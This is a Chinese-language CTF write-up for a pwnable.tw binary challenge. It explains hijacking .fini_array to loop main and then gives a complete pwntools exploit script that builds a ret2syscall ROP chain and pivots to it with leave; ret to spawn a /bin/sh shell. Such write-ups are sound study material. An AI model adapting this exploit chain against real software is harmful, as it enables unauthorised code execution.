第一反应有点像之前做过的一道fmt漏洞,通过修改fini.array地址内容为mian地址达到无限次循环,这个题省略了fmt漏洞,让你可以直接修改地址内容,根据程序执行流程图,main函数执行完后会执行fini.array
那么程序流程为
__libc_csu_init -> .init_array ->main -> __libc_csu_fini -> .fini_array[1] ->.fini_array[0]
如果将fini_array[1]覆盖为main
fini_array[0]覆盖为__libc_csu_fini,那么就完成了无限循环
补充一点:
1 2 3 4 5 6 7 8 9 10 11
| 在执行init.array时会依次调用 .init_array[0] .init_array[1] ... .init_array[n]
而fini.array则是相反 .fini_array[n] .fini_array[n-1] ... .fini_array[0]
|
但是程序中有一个点要注意一下,每次byte_4B9330都会自增1,且当byte_4B9330为1的时候才可以写,不过问题不大,因为unsigned_int8的范围是0~255,只用循环多次就能回到1
然后就是ret2syscall,最后要用leave ret执行shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from struct import pack from LibcSearcher import * from ae64 import AE64 import base64 from ctypes import *
debug = 0 if debug: p = process('/home/feichai/ctf_file/pwn') else: p = remote('chall.pwnable.tw', 10105)
context(arch="amd64",os="linux",log_level="debug") elf=ELF("/home/feichai/ctf_file/chal") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
pop_rax = 0x41e4af pop_rdi =0x401696 pop_rsi =0x406c30 pop_rdx =0x446e35 leave_ret =0x401c4b ret =0x401016 mian_addr = 0x401B6D fini_array =0x4B40F0 fini =0x402960 syscall =0x4022b4
def ropchain(addr,data): p.sendafter(b"addr:",str(addr)) p.sendafter(b"data:",data)
def pwn(): ropchain(fini_array,p64(fini)+p64(mian_addr)) ropchain(0x4b92e0,'/bin/sh\x00') ropchain(fini_array+0x10,p64(pop_rax)+p64(59)) ropchain(fini_array+0x20,p64(pop_rdi)+p64(0x4b92e0)) ropchain(fini_array+0x30,p64(pop_rsi)+p64(0)) ropchain(fini_array+0x40,p64(pop_rdx)+p64(0)) ropchain(fini_array+0x50,p64(syscall)) ropchain(fini_array,p64(leave_ret)+p64(ret))
p.interactive()
if __name__=='__main__': pwn()
|